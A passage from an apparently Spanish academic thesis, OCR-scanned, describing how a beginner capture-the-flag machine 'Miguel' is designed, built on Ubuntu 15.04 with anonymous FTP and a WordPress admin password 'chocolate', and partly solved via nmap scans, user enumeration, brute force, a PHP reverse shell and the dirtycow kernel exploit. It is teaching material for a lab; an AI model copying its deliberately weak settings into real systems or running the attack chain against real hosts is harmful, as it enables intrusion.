de sus plugins o temas. Sin embargo, como se comenta en la descripcidn y en otra pista
que se vera mas adelante, el proyecto se ha instalado por defecto y se ha dejado en
stand-by (en reposo, pausa), por lo que hay poco que tocar. ;Qué falta? Evidentemente,
la Unica via a priori que queda, es conseguir las credenciales de administrador del sitio.
Para esto, primero es necesario enumerar un usuario administrador, y WordPress tiene
una particular manera de decirle al usuario si ese usuario existe 0 no, pues el output
(salida) del error al intentar entrar con un usuario que existe, es diferente al de intentarlo
con un usuario inexistente en la base de datos. Es en este momento, donde se quiere
confundir un poco al usuario al no encontrar un usuario de administrador clasico como
“admin”, ‘“administrador”, “adminl”... etc, donde el objetivo es que el usuario
investigue la maquina méas en profundidad en busca de alguna pista.

Por otro lado, se ha creado un servidor FTP (puerto 21) con acceso anonimo,
practica que evidentemente refleja una mala configuracion del servicio. Un servidor
FTP (File Transfer Protocol) es utilizado para intercambiar ficheros entre maquinas
dentro de una misma red. Para acceder al servicio, generalmente se necesitan
credenciales de usuario con acceso al servidor. Sin embargo, a veces se configura el
acceso anonimo sin contrasefia a las carpetas compartidas por comodidad, cosa que
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puede estar bien si no se exponen archivos de caracter critico, pero que generalmente
supone una vulnerabilidad clara que permite al atacante extraer informacion. Se trata de
una vulnerabilidad del servicio, que viene dada por una falta de buena configuracion.

El objetivo es que el usuario se dé cuenta rapidamente de esta vulnerabilidad, y
entre a los recursos compartidos, encontrandose con informacion que le muestre pistas
para continuar. En este caso, sera un fichero con érdenes del director, que le pedira prisa
al administrador del sitio de WordPress, revelando su nombre de usuario, Miguel, entre
otras cosas.

Es entonces donde el usuario, que ya ha intuido el nombre del administrador,
intenta acceder al panel de administracion. Sin embargo, carece de la contrasefia. Es
aqui donde se le plantea al usuario conseguir la contrasefia del usuario, de la cual no se
dan mas pistas, por lo que no queda otra que recurrir a la fuerza bruta, técnica que se
suele utilizar cuando no hay mas remedio. Esto se puede hacer con herramientas
automaticas como “WPScan” (herramienta que enumera un sitio de WordPress
completo, y que ademas cuenta con una funcion de fuerza bruta), o de un método méas
manual, que requiere de conocimientos algo méas avanzados y herramientas como
“Hydra” para desempenarlo.

Se requiere una contrasefia sencilla, no se pretende que el usuario esté mas de
cinco minutos intentando conseguir una contrasefia por fuerza bruta, sino mas bien lo
contrario. Se busca que entienda y practique el concepto de fuerza bruta, y que esta bien
aplicado en este escenario, por lo que el camino es una contrasena “dificil de adivinar”
(como por ejemplo no seria el caso de “1234”, “hola”, “1q2w3e” ... etc), pero a la vez
que sea encontrada rapidamente por diccionarios dedicados. Es por esto que la
contrasefia que se ha elegido es “chocolate”, contrasefia universal, muy comun, y dificil
de poner al azar.

El usuario, en este punto, es capaz de acceder al panel de administracion del sitio
con los credenciales “miguel:chocolate”. Desde aqui, hay varias vias potenciales de
obtener una “reverse shell”, y lo més importante, mucha documentacion. Una reverse
shell es un terminal de comandos remoto de una maquina. El término “reverse”
proviene del inglés y se refiere a “del otro lado”, es decir, desde la otra méquina, y
“shell” se refiere al tipico terminal de los computadores. Entablar una reverse shell es de
caracter basico, pues es aqui donde se consigue un terminal dentro del sistema, en este
caso la maquina que corre el servidor web, que se trata de una maquina Linux. En este
caso, a través de PHP se consigue que el servidor apache interprete un cédigo PHP
malicioso y que envie al usuario un terminal dentro de la maguina. Es en este momento,
después de conseguir una shell en la maquina, cuando el usuario podra leer la flag
“user.txt” dentro del directorio “/home/asekas”.

Dado que se trata de una maquina de dificultad baja, no es bueno comprometer
al usuario a una escalada de privilegios complicada. El objetivo de estas maquinas suele
ser utilizar un exploit (script, programa o metodologia disefiado especificamente para
explotar una vulnerabilidad) de algin software desactualizado, o aprovechar alguna
vulnerabilidad facil de explotar. Ya en la descripcion de la maquina se da una pequefia
pista al respecto... “El administrador ha reutilizado una maquina antigua para montar su
servidor web... ;Sera segura?”. En este punto, el objetivo es explotar una vulnerabilidad
muy famosa que estuvo acometiendo contra muchas distribuciones de Linux en el
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pasado. Se trata de una vulnerabilidad a nivel de kernel (el ndcleo del procesador, que
gestiona al mas bajo nivel todo lo que ocurre en el sistema operativo) llamada
“dirtycOw”. Fue un fallo que afecta a la mayoria de las versiones de kernel, lo mas
basico de un sistema operativo, por lo que hasta que no se pudo aplicar un parche que
corrigiese la vulnerabilidad, un sistema era totalmente vulnerable con la simple
ejecucion del exploit. Dependiendo de la distribucion de Linux (Ubuntu, Debian,
CentOS...), esto fue arreglado en diferentes versiones de kernel, por lo que, tratandose
de un Ubuntu Server, el usuario tendria que comprobar que efectivamente la
distribucion de Ubuntu Server 15.04 Vivid Vervet utilizada es vulnerable a este exploit.

Aqui el objetivo es que el usuario sea capaz de enumerar las vias potenciales de
escalada de privilegios en un sistema UNIX, y sea capaz de elaborar un vector de
ataque. Es por esto que, tras darse cuenta del bajo nivel de kernel (Esto es de las
primeras cosas que se suelen comprobar en un test de penetracion cuando se esta
delante de una maquina Linux, y por tanto aparece al principio de la lista en cualquier
guia de escalada de privilegios. Ademas, existe mucha documentacién acerca de la
vulnerabilidad), el usuario tiene que aprender como instalar exploits en la maquina y
coémo ejecutarlos.

Este exploit en concreto, puede encontrarse en github y puede ser descargado a
través de la herramienta “wget” (que estd instalada dentro de la maquina para mayor
facilidad) en cualquier directorio donde haya permisos de escritura. Una vez instalado el
exploit, el usuario tendra que saber cémo ejecutarlo, y una vez ejecutado, como
proceder. Generalmente el exploit muestra esta clase de informacién por lo que no es
para nada complicado.

Este exploit en concreto, se aprovecha del error de kernel para conseguir
privilegios de administrador y reescribir el fichero /etc/passwd (donde se almacena
informacion de todos los usuarios del sistema), cambiando la contrasefia del usuario
root del sistema. Después de una ejecucion exitosa, el usuario podra cambiar al usuario
root proporcionando la contrasefia nueva sin mayores complicaciones.

Con todo esto, el usuario finalmente es capaz de leer la flag “root.txt” localizada
en “/root”. Como se puede ver, durante esta practica se ven, aunque faciles, un buen
pufiado de vulnerabilidades que sirven para ir cogiendo metodologia y aprendiendo
poco a poco, dotando a un usuario novato de experiencia y confianza.

5.3 Resumen de las vulnerabilidades escogidas

En resumen, las vulnerabilidades que se tocan en la maquina Miguel, serian las
siguientes:

Por un lado, una mala gestion de un servidor FTP, que permite el acceso
anoénimo a archivos que pueden dar informacion a un atacante a causa de una pobre
configuracién. Por otro lado, la utilizacion y explotacion de una politica de contrasefias
muy débil, con contrasefias de publico conocimiento (esto es, contrasefias que en algin
momento han sido reveladas por una filtracion de base de datos, por ejemplo). Lo
anterior, sumado a un panel de administracién que permite entablar una reverse shell en
el sistema. Por ultimo, la utilizacion de una distribucion de Linux antigua vulnerable al
conocido exploit “dirtycOw”.
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6 IMPLEMENTACION DEL CTF ‘MIGUEL’

6.1 Instalacion de la maquina virtual

Ahora que se conoce la idea inicial del disefio del CTF, explicar la
implementacion serd mucho maés sencillo. Lo primero es elegir el sistema operativo y
construir el CTF sobre él. Del apartado de disefio se sabe que el sistema operativo debe
de ser vulnerable al exploit dirtycOw, por lo que se ha elegido Ubuntu Server 15.04
Vivid Vervet (se escoge siempre que sea posible la version sin interfaz gréfica para
favorecer el rendimiento).

Como se va a alojar desde el gestor de maéquinas virtuales VMware
WorksStation, esta es la herramienta que se va a utilizar para su implementacion. En
primer lugar, se descarga la “imagen .iso” del sistema operativo y se crea una nueva
maquina virtual a partir de la misma, que se customizara teniendo en cuenta los
siguientes pasos:

Se elige una la opcion personalizable de creacion de maquina virtual, como se ve
en la figura cincuenta y siete.

Mew Virtual Machine Wizard

VMWARE Welcome to the New Virtual
WORKSTATION Machine Wizard

PRO" 1 6

What type of configuration do you want?

() Typical {recommended)

Create a Workstation 16.x virtual machine
in a few easy steps.

Create a virtual machine with advanced
options, such as a SCSI controller type,
virtual disk type and compatibility with
older WMware products.

Cancel

Figura 57: Configuracion personalizada

Se selecciona la imagen .iso del sistema operativo en cuestion: Ubuntu Server
15.04 Vivid Vervet, como se puede ver en la figura cincuenta y ocho.
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Mew Virtual Machine Wizard

Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating
gystem. How will you inztall the guest operating system?

Install from:
Installer disc:

Mo drives available

(®) Installer disc image file (iso):

| G\CTFs\ISO_Images\ubunitu-15.04-server-i386.iso) v| Browse...

[] Ubuntu Server 15.04 detected.
This operating system will use Easy Install. (What's this?)

()1 will install the operating system later.
The virtual machine will be created with a blank hard disk.

<o

Figura 58: Seleccion imagen de SO

Se dejan las opciones de compatibilidad por defecto y se establece como nombre
de la maquina el nombre del CTF, el nombre del usuario creador de la maquina, asi
como una contrasefia robusta para el mismo, para que sea imposible la escalada de
privilegios por esa via, pues no se pretende (no confundir este usuario con root).

Mew Virtual Machine Wizard >

Easy Install Information
This is used to install Ubuntu.

Personalize Linux

Full name: | miguel |

User name: | asekas |

Password: | LTI |
Confirm: | I TIITTITITTITY] |
Help < Back Cancel

Figura 59: Establecimiento credenciales Linux
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Opciones de hardware no demasiado potentes, pues los requisitos de la maquina
no lo son. Se escoge, en este caso, 2 GB de RAM (recomendado para el sistema
operativo), y 2 procesadores, pues no se requiere una elevada capacidad de computo.

Opcidn de red “bridged” para que la IP sea asignada directamente por el DHCP
al entrar en red. Esto se explica con mayor detenimiento durante la implementacion del
servidor repositorio anteriormente comentada.

6.2 Implementacion de los servicios vulnerables

Una vez iniciada la maquina, se sigue el procedimiento normal de instalacién del
sistema operativo, esperando a que termine de instalar el sistema operativo, tal y como
se ve en la figura sesenta.

1 Installing the system... |

Freparing linux-image-3.19.0-15-generic (i586)

Figura 60: Instalacion Ubuntu Server

Como se puede ver, una vez finaliza la instalacion, aparece en pantalla el tipico
login del sistema, que en este caso carece de interfaz grafica
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Ubuntu 15.04 wbuntu ttyl

ubuntu login: asekas
Password :

The programs included with the Ubuntu system are free softuware:
the exact distribution terms for each program are described in the
individual files in ~usr-sharesdoc = copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user “root"), use "sudo <command>".
See "man sudo_root" for details.

asekas@ubuntu:™§

Figura 61: Primer login

Lo que se requiere en este punto, es instalar y configurar los diferentes servicios
“vulnerables” que se quieren dentro del CTF, en este caso WordPress, y FTP. Para
WordPress, es necesario un servidor apache2, MySQL, y PHP instalados. Sin embargo,
como se verd, para esta distribucion Vivid Vervet no es compatible cualquier version de
este software y es necesario especificarlas.

Apache2, FTPd y MySQL no tendran problemas, puesto que ambos se instalan
desde el repositorio “apt”. Mediante esta herramienta, ya se instala la Gltima version del
software disponible para la distribucion, que dejé de recibir soporte hace tiempo, por lo
que estd obsoleto, cosa que ya sabia “el administrador del sistema al reciclar la
maquina”.

El problema viene con la méxima version de PHP que soportara el sistema. Esta
en concreto es la version 5.6.4 del lenguaje. Esto determinara la versién de WordPress a
utilizar, puesto que es un requerimiento esencial del gestor de contenidos y necesita una
version de PHP mas elevada para versiones mas actuales. Esto puede comprobarse en el
siguiente grafico encontrado en la web “displaywp.com”, donde encontramos el
siguiente grafico. Como se puede ver en la figura 62, para la version 5.6.4 de PHP, la
version maxima alcanzable de WordPress es la 5.1 (segunda columna gris)
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Minimum PHP Version Required to run WordPress
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Figura 62: Versiones de WordPress mas End-Of-Support de versiones PHP

Por tanto, ya se saben las versiones de los servicios que van a funcionar en la
maquina, que vienen definidos por el repositorio de paquetes apt para la distribucion
15.04 de Ubuntu Server:

- Apache 2.4.10

- MySQL 5.6.28 (version 14.14)
- PHP5.6.4

- proFTPd 1.3.5

asekas@ubuntu:™5 apachez —u

Server version: ApachersZ.4.10 (Ubuntu)l

Server built: Jul 24 2015 17:25:17

asekasBubuntu:™5 mysql ——version

mysgl Ver 14.14 Distrib 5.6.28, for debian-linux—gnu (ib86) using EditLine wrapper
asekas@ubuntu:™S php —u

PHP 5.6.4-4ubuntub.4 (cli) (built: Oct 28 2015 01:26:54)

Copyright (c) 1997-2014 The PHFP Group
Zend Engine vZ.6.0, Copyright (c) 1998-2014 Zend Technologies
with Zend OPcache v?.0.4-dev, Copyright (c) 1999-2014, by Zend Technologies
asekas@ubuntu:”S proftpd —u
ProFTPD Version 1.3.5
asekasPubuntu: ™5 _

Figura 63: Versiones de los servicios

Ejemplo de instalacion del servicio proFTPd, idéntico al resto de servicios:

root@ubuntu: svar uww shimlit apt install ftpd

Figura 64: Instalacion proFTPd

El software pide algo de configuracion minima por pantalla. También ocurre con
el servicio de MySQL, como en el servidor repositorio explicado anteriormente. Tanto
el servicio proFTPd como MySQL necesitan ciertas cosas que se piden por pantalla
durante la instalacion, pudiéndose ver en las figuras sesenta y cinco y sesenta y seis
respectivamente.
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Package configuration

| ProFTFD configuration
ProFTPD can be run either as a service from inetd, or as a standalone server. Each choice
has its oun benefits. With only a few FIF comnections per day, it i=s probably better to run
ProFTPD from inetd in order to save resources.

On the other hand, with higher traffic, ProFTFD should run as a standalone server to avoid
spauning a new process for each incoming connection.

Run proftpd:
from inetd

<0k>

Figura 65: Instalacion proFTPd — Configuracion por pantalla

Package configuration

| Configuring mysql-server-5.6 |
While not mandatory, it is highly recommended that you set a password for the MySQL
adninistrative "root" user.

If this field is left blank, the password will not be changed.

New passuord for the MySQL “root" user:

Figura 66: Instalacién MySQL — Configuracion por pantalla
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Una vez instalado todo este software con el comando apt, se procede a instalar
WordPress en el directorio ““/var/www/html”, que es la carpeta que apache hace
accesible via web.

Primero se descarga la version a instalar de WordPress (5.1), para ello hay que
ir al repositorio oficial del programa y seleccionar dicha version, para descargarla en
tar.gz. Dentro de la maquina es posible hacer uso del comando ‘wget’ para descargar el
archivo directamente, tal y como se ve en la figura sesenta y siete.

asekasBubuntu:”~5

asekas@ubuntu:™§ wget https:/ses.wordpress.org/wordpress—5.1-es_ES.tar.qz
—-2021-09-07 12:43:42-— htips:- - es.vordpress.orgsuordpress-5.1-es_EJ.tar.gz
Resolving es.wordpress.oryg (es.wordpress.org)... 198.143.164.252

Comnecting to es.wordpress.org (es.wordpress.org)l1198.143.164.2521:443... commected.
HTITP request sent, awaiting response... 200 OK

Length: 11249018 (11M) [applicationsoctet-stream]
Saving to: myordpress-5.1-es_ES.tar.gzm

10.734 5.88MB-=  in 1.8s

2021-09-07 12:43:45 (5.88 MBrs) - mwordpress—5.1-es_ES.tar.gz® saved [11249016-112490181

Figura 67: Descargar version 5.1 de WordPress

Una vez aqui, hay que descomprimir dicho archivo en la carpeta anteriormente
mencionada, para que apache lo interprete. (/var/www/html).

asekasfubuntu : svar-www htnls ls

index.php up-login.php xmlrpc.php
license.txt up-blog-header .php up—cron.php up-mail.php

readme . html up—comments-post . php up-settings.php

wp—config.php wp—links—opml.php wp-signup.php
up-activate.php wp-config—=sample.php wp-load.php up—-trackback.php
asekasBubuntu : svar wuw htmnls

Figura 68: Directorio de WordPress
Para la instalacién de WordPress, se han seguido los siguientes pasos.
El primero de ellos sera configurar la base de datos, creando el usuario
responsable del gestor de contenidos. Para ello primeramente creamos la base de datos

“wpdb”, y después el usuario, para finalmente darle los permisos necesarios sobre la
misma. Este proceso puede visualizarse a lo largo de la figura sesenta y nueve.
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rootfubuntu: shome-aszekas#t mysql -u root —proot

Warning: Using a password on the command line interface can be insecure.
lelcome to the MySQL monitor. Commands end with  or Mg.

Your MySQL comnection id is £

Server version: 5.6.28-0ubuntu®.15.04.1 (Ubuntu)

Copyright (c) 2000, 2015, Oracle andsor its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and-or its

affiliates. Other names may be trademarks of their respective
OUNENS .

Type 'help:’ or 'sh’ for help. Type “Sc’ to clear the current input statement.

mysgl> CREATE DATABASE wpdb:
(Query OK, 1 row affected (0.00 sec)

mysql> CREATE USER wpuser®localhost IDENTIFIED BY *1qZ2lgZ234uer’:
Query DK, O rows affected (0.00 sec)

mysql> GRANT ALL ON wpdb.= to wpuser@localhost:
(uery OK, 0 rows affected (0.00 =sec)

mysgl> FLUSH PRIVILEGES:
Query DK, O rows affected (0.00 sec)

mysgl> _

Figura 69: Creacién de la DB de WordPress

El siguiente paso es modificar el archivo wp-config.php con los credenciales de
la base de datos que acabamos de crear para que la pueda utilizar correctamente. Los
cambios que hay que realizar son los siguientes:

define(’ DB_NAME", ‘wpdb’);
define(’ DB_USER’, ’wpuser’):

define (' DB_PASSWORD" , *1gZigZ3dwer’):

Figura 70: Credenciales WordPress DB en wp-config.php

Solo faltaria cambiar los permisos del directorio y reiniciar apache, como en la
figura setenta y uno.

rootfubuntu : svar-uwushtmlé chowun -RB www—data wuw—data Avar-uwu-html

root@ubuntu: var-uww hinl#t chmod -R 7?55 Avar-www hinl
root@ubuntu: var-uww htnl#t service apacheZ restart

Figura 71: Permisos del directorio /var/iwww/html
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En este punto, si se accede a través de un navegador IP indicando la IP del CTF
por el puerto 80, cargara la configuracion inicial de WordPress. Para seguir con las
pautas marcadas durante el disefio, quedara asi:

Hola

iBienvenido al famoso procesc de instalacion de WordPress en cinco minutos! Simplemente completa la
informacion siguiente y estaras a punto de usar la mas enriguecadora y potente plataforma de publicacion
personal del mundo.

Informacion necesaria

Por favor, debes facilitarnos los siguientes datos. Mo te preocupes, siempre podras cambiar estos ajustes mas

tarde.
Titulo del sitio Miguel
Nombre de usuario miguel =
Los nombres de Usuario pueden tener Uricamente caracteres alfanuméricos, espacios, quiones bajos,
guiones medios, puntos y el simbolo @
Contrasena chocolate = @ Ocultar
Muy debil
Importante: Necesitas esta contrasefia para acceder. Por faver, guardala en un lugar seguro
Confirma la Confirma el uso de una contrasefia débil.
contrasefia
Tu correo electrénico miguel@umhack.es =
Comprueha bien tu direccidn de correo electrdnico antes de continuar,
Visibilidad en los [J Disuade a los motores de bisqueda de indexar este sitio
motores de Depende de los motores de blsgueds atender esta peticien o no.
blisqueda

Instalar WordPress

Figura 72: Autoinstalacion WordPress

Al hacer clic sobre “Instalar WordPress”, botdn localizado en la parte inferior, se
instalara con la configuracion especificada. En un principio, el gestor de contenido se
queda asi, simulando la idea inicial del disefio: “un proyecto web instalado y dejado en
stand-by .
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iLo lograste!

WordPress ya estd instalado. jGracias, y que lo disfrutes!
Nombre de usuario miguel

Contraseiia Tu contrasefia elegida.

Acceder

Figura 73: Confirmacion de instalacion de WordPress

6.3 Configuraciéon de los servicios vulnerables

El Gltimo paso que falta en cuanto a la implementacion, es configurar el servidor
FTPd, para ello hay que modificar el archivo que se encuentra en el directorio
[etc/proftpd/proftpd.conf, y configurar el siguiente directorio anénimo:

#t A bazic anonymous configuration, no upload directories.

<Anonymous sopt-UorkSharing>
User ftp
Group ftp
# We want clients to be able to login with “anonymous" as well as "ftp"
Userflias anonymous ftp
# Cosmetic changes, all files belongs to fip user
DirFakelUser on ftp
DirFakeGroup on ftp

RequireValidShell off

# Limit the maximum number of anonymous logins
HaxClients 10

# We want ‘welcome.nsyg’ displayed at login, and ' .message’ displayed
# in each neuwly chdired directory.

DisplayLogin uelcome . m=g

DisplayChdir .Message

# Limit WRITE everywhere in the anonymous chroot
{Directory =>
<Limit WRITE>
Denynll
<Limit>
</Directory>

Figura 74: Configuracién del acceso anénimo al servidor FTP
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Esta configuracion hace del directorio /opt/WorkSharing un directorio
compartido, donde no hace falta de usuario para acceder. Aqui es donde yace la
siguiente pista:

asekasfPubuntu:opts s

asekas@ubuntu: - opts ls WorkSharing~
ordenes.txt

Figura 75: Directorio anénimo compartido

Donde el contenido de ordenes.txt sera el que puede verse en la figura setenta y
seis.

GNU nano Z.Z2.6 File: WorkSharing-sordenes.txt Modified
Miguel, el WordPress tiene gue estar listo para el jueves! Mo veo avances.
Ademas has instalado el servidor en una maguina muy antigua?! Esto es potencialmente vulnerablet?
Hablaremos seriamente.

Att: E1 Director

Figura 76: Mensaje del director

Con esto, ya se le daria al usuario la pista del usuario de WordPress a
comprometer, asi como una gran pista para la escalada de privilegios. En este punto,
falta afadir los servicios al arranque, de manera que no haya problemas cuando se inicie
la maquina y todo funcione correctamente. Esto se consigue con los siguientes
comandos:

root@ubuntu : ropt-WorkSharing#t systemctl enable apacheZd

Synchronizing state for apacheZ.service with sysuvinit wsing update-rc.d...
Executing ~usrsshin-update-rc.d apacheZ defaults

Executing ~usr-sbin-update-rc.d apacheZ enable

root@ubuntu: sopt-WorkSharing# systemctl enable mysql

Synchronizing state for mysgl.service with sysvinit wsing update-rc.d...

Executing ~usrrsbin‘update-rc.d mysgl defaults

Executing ~usrrsbin-update-rc.d mysgl enable
rootRubuntu : ropt-WorkSharing#t systemctl enable proftpd

Synchronizing state for proftpd.service with sysuvinit wsing update-rc.d...
Executing ~usrssbin-update-rc.d proftpd defaults

Executing ~usrssbin-update-rc.d proftpd enable

Figura 77: Adicion de servicios principales en el arranque

6.4 Colocacion de las banderas

Por ultimo, simplemente faltaria afiadir las flags de usuario y root en sus
respectivos lugares. La flag de usuario en “/home/asekas/user.txt” y la flag de sistema
en “/root/root.txt”, tal y coimo se ve en las figuras setenta y ocho y setenta y nueve.
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asekasPubuntu:™5 pud
honesasekas

aszekas@ubuntu:™$ cat user.txt
ff3EZ?aﬂdﬂ13ﬂ3§$hﬁﬂ£ﬂﬂ£1hﬁﬂee1cﬁ

Figura 78: Bandera de usuario

root@ubuntu:"# pud
A1root

rootBubuntu:"# cat root.txt
9cd990c 195223984973 1decc2Z27d 10ec

Figura 79: Bandera de sistema
Con esto, se daria por finalizada la implementacion del CTF y estaria listo para

subirse a la plataforma, copiando todos los archivos de configuracion en la carpeta
“Miguel” del servidor repositorio.
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7 RESOLUCION DEL CTF ‘MIGUEL’

7.1 Enumeracion

En la resolucién de la méquina tan solo se mostraran los pasos directos y
relevantes. Se seguira el hilo conductor que el creador de la maquina ha querido dejar,
sin explicar otras pruebas que ha realizado el pentester, asi como vectores de ataque
fallidos.

El primer paso para iniciar el ataque a cualquier maquina, es comprobar que
responde a las trazas ICMP que se le envian. La maquina tiene la IP 192.168.0.42, y
como se puede ver en la siguiente figura ochenta, responde correctamente.

/home/kali/Miguel/nmap
LB.42 1
.168.8.42)

icmp_se

Figura 80: Comprobacion de si la maquina responde

Con “ping <IP> -c 1” se envia una Unica traza ICMP que es suficiente para
comprobar si la maquina esta “viva” o “muerta”. También se determina que el sistema
operativo de la maquina es Linux, ya que el campo “ttl” vale 64, propio de maquinas
que utilizan la distribucion. Después de esto, se procede a un escaneo de puertos
utilizando la herramienta nmap.

2 /home/kali/Miguel/nmap
openPorts 192.168.0.42

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-08 12:41 EDT
Initiating ARP Ping Scan at 12:41
Scanning 192.168.0.42 [1 port]
Completed ARP Ping Scan at 12:41, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:41
Scanning 192.168.0.42 [65535 ports]
Discovered open port 21/tcp on 192.168.0.42
Discovered open port 8@/tcp on 192.168.0.42
Completed SYN Stealth Scan at 12:41, 7.23s elapsed (65535 total ports)
Nmap scan report for 192.168.0.42
Host is up (@0.0044s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 00:0C:29:D1:4F:2F (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Figura 81: Primer reconocimiento con ‘nmap’
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Nmap es una herramienta de enumeracién de puertos y servicios muy extendida,
que ademas aporta muchas mas funcionalidades adicionales. El desglose de parametros
utilizados para enumerar los puertos abiertos de Miguel, es el siguiente:

“-p*“ indica la cantidad de puertos a analizar, siendo “-p-“ una referencia para
“todos los puertos”, del 1 al 65535.

“—open” indica a nmap que solo interesan los que estén abiertos, y son los que
figuraran en el output.

“-T” indica la agresividad del escaneo, siendo 5 el valor méximo del pardmetro.

“-n” no aplicar resolucion DNS

“-v” indicar la cantidad de informacion que refleja la herramienta

“>0G” una forma de exportar, en este caso se ha indicado volcar los contenidos
en el fichero “openPorts”.

Se detecta entonces, que la maquina tiene los puertos 21 y 80 abiertos, donde se
presentan los servicios FTP y HTTP. Para ver la version de los mismos, se utilizan el
parametro “-sV”.

® /home/kali/Miguel/nmap
serviceScan 192.168.0.42

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-08 12:52 EDT
NSE: Loaded 45 scripts for scanning.
Initiating ARP Ping Scan at 12:52
Scanning 192.168.0.42 [1 port]
Completed ARP Ping Scan at 12:52, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:52
Scanning 192.168.0.42 [2 ports]
Discovered open port 80/tcp on 192.168.0.42
Discovered open port 21/tcp on 192.168.0.42
Completed SYN Stealth Scan at 12:52, 0.05s elapsed (2 total ports)
Initiating Service scan at 12:52
Scanning 2 services on 192.168.0.42
Completed Service scan at 12:52, 6.46s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.0.42.
Initiating NSE at 12:52

Completed NSE at 12:52, 0.13s elapsed
Initiating NSE at 12:52

Completed NSE at 12:52, 0.09s elapsed
Nmap scan report for 192.168.0.42
Host is up (0.00048s latency).

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5

80/tcp open http Apache httpd 2.4.10 ((Ubuntu))
MAC Address: 00:0C:29:D1:4F:2F (VMware)

Service Info: 0S: Unix

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

Figura 82: Reconocimiento de servicios con ‘nmap’

La version de FTP es ProFTPD 1.3.5 y se descubre que el servidor web es
Apache, siendo su version la 2.4.10. Se podria buscar informacidn de estas versiones en
busca de alguna vulnerabilidad con posibilidad de explotarlas, pero no se realizaran
investigaciones adicionales durante la resolucion.
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El proximo paso es sacar informacion acerca de la pagina web, para ello se hace
uso de la herramienta whatweb, que devuelve la siguiente informacion, observando que
se trata de un WordPress en Ubuntu.

® /home/kali/Downloads
) 192.168.0.42
[200 OK] Apache[2.4.10], Country[RESERVED][ ], HTMLS, 1L ], 1IP[192.168.0.42], MetaGenerator[W

ordPress 5.1.10], Script[text/javascript], Title[Miguel &#8211; Otro sitio 7 WordPress], UncommonHeaders[link], WordPress[5.1.10]

® /home/kali/Downloads

Figura 83: Utilizando la herramienta whatweb

Se procede entonces, a escanear manualmente la pagina, en busca de alguna
pista. Dado que no se encuentra nada, se procede a buscar informacion acerca de la
version 5.1.0 de WordPress, en busca de alguna vulnerabilidad explotable. Con la
herramienta “searchsploit” se pueden buscar este tipo de cosas, pero por desgracia no
devuelve informacién interesante en este caso, pues solo han encontrado exploits
referentes a plugins del gestor de contenidos.

/home/kali/Downloads
it wordPress 5.1.0

/home/kali/Downloads

Figura 84: Utilizando la herramienta searchsploit
La pagina se veria como en la figura ochenta y cinco, y se comprueba

rapidamente que se ha instalado el gestor por defecto, sin modificaciones, por lo que
poco hay para hacer.
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Miguel — Otro sitio realizade x

= c @ © % 192.168.0.42

o Kali Linux ] Kali Training % Kali Tools & Kali Forums « KaliDocs X NetHunter Offensive Sec

Ir al contenido
.
Miguel
Otro sitio realizado con WordPress

Nada encontrado

Parece que no encontramos lo que estas buscando. Puede que una busqueda te ayude.

Buscar: | Buscar Buscar

Buscar: Buscar .. Buscar
Comentarios recientes
Archivos

Categorias

« No hay categorias

Meta

* Acceder

* RSS de las entradas

» RSS de los comentarios
* WordPress.org

Miguel, Funciona gracias a WordPress.

Figura 85: Pagina principal del sitio

La Unica via potencial que queda es entrar al panel de administracion para
entablar una reverse shell, es decir, un terminal remoto de la maquina Miguel en la
maquina de atacante. WordPress tiene una particular manera de enumerar usuarios, pues
la propia pagina informa al atacante de si el usuario existe o no, siendo diferente el
resultado que devuelve. Esto se comprobara méas adelante. Se intenta acceder al panel de
administrador con nombres de usuario comunes como ‘“administrador”, “admin”,
“adminl”, sin suerte... En la figura ochenta y seis puede verse un ejemplo justo después
de intentar acceder mediante el usuario “admin” con una contrasefia aleatoria.
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ERROR: Mombre de usuario no vélido. ;Olvidaste
tu contrasena?

Nombre de usuario o direccion de correo

Contrasena

Recuérdame Acceder

;Olvidaste tu contrasena?

€ Volver a Miguel

Figura 86: Login de WordPress

Dado que no se puede seguir por este vector de ataque de momento, se procede a
enumerar la maguina méas a fondo, comprobando que el servicio FTP permite la entrada
anonima. Esto también se podria comprobar con la herramienta nmap, que cuenta con
scripts de enumeracion, facilitando el trabajo del atacante. Esto se consigue mediante el
uso del parametro “-sC”.
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@ /home/kali/Miguel/nmap

5
scripts for scanning.

0.00s elap

0.080s elap

ng ARP
Scanning 19

Init
Scannin
Discov
Discoy

Nmap scan report for 192.1¢
Host is up (@ 41s laten

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
ftp-anon: Anonymous FTP 1
1 ftp Ft 11:08 ordenes.

Supported Methods: GET HEAD POST OPTIONS
_http-s er: ache/2.4.10 (Ubuntu)
11; Otro io r zado con WordPress
MAC Address: D1:4F:2F (VMware)
Service Info: 0S: Unix

Figura 87: Scripts de reconocimiento a servicios conocidos con ‘nmap’

Como se puede ver en la figura ochenta y siete, nmap detecta el login anénimo
al servicio, y detecta incluso la existencia de un archivo “ordenes.txt” dentro del
directorio. Para llegar a leerlo, hay que iniciar sesion en el servicio con el usuario
“Anonymous” sin proporcionar contrasefa, y una vez dentro, mediante el comando get
sera posible extraer el archivo a la maquina de atacante para leerlo desde ahi, tal y como
en la figura ochenta y ocho.
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e /home/kali/Miguel/nmap
ftp 192.168.0.42
Connected to 192

220 ProFTPD 1.
Mame (192.168. 1 k:
1 Anonymous | as your password
sword:
Anonymous accs grante restrictions apply
ote system i X
Using binary mo

PORT command successful
Opening ASCII mode data connection for file list
1 ftp ftp 93 Aug 13 11:08 ordenes.txt
Transfer complete
> OE ordenes.txt
cal: ordenes.txt remote: ordenes.txt
PORT command successful
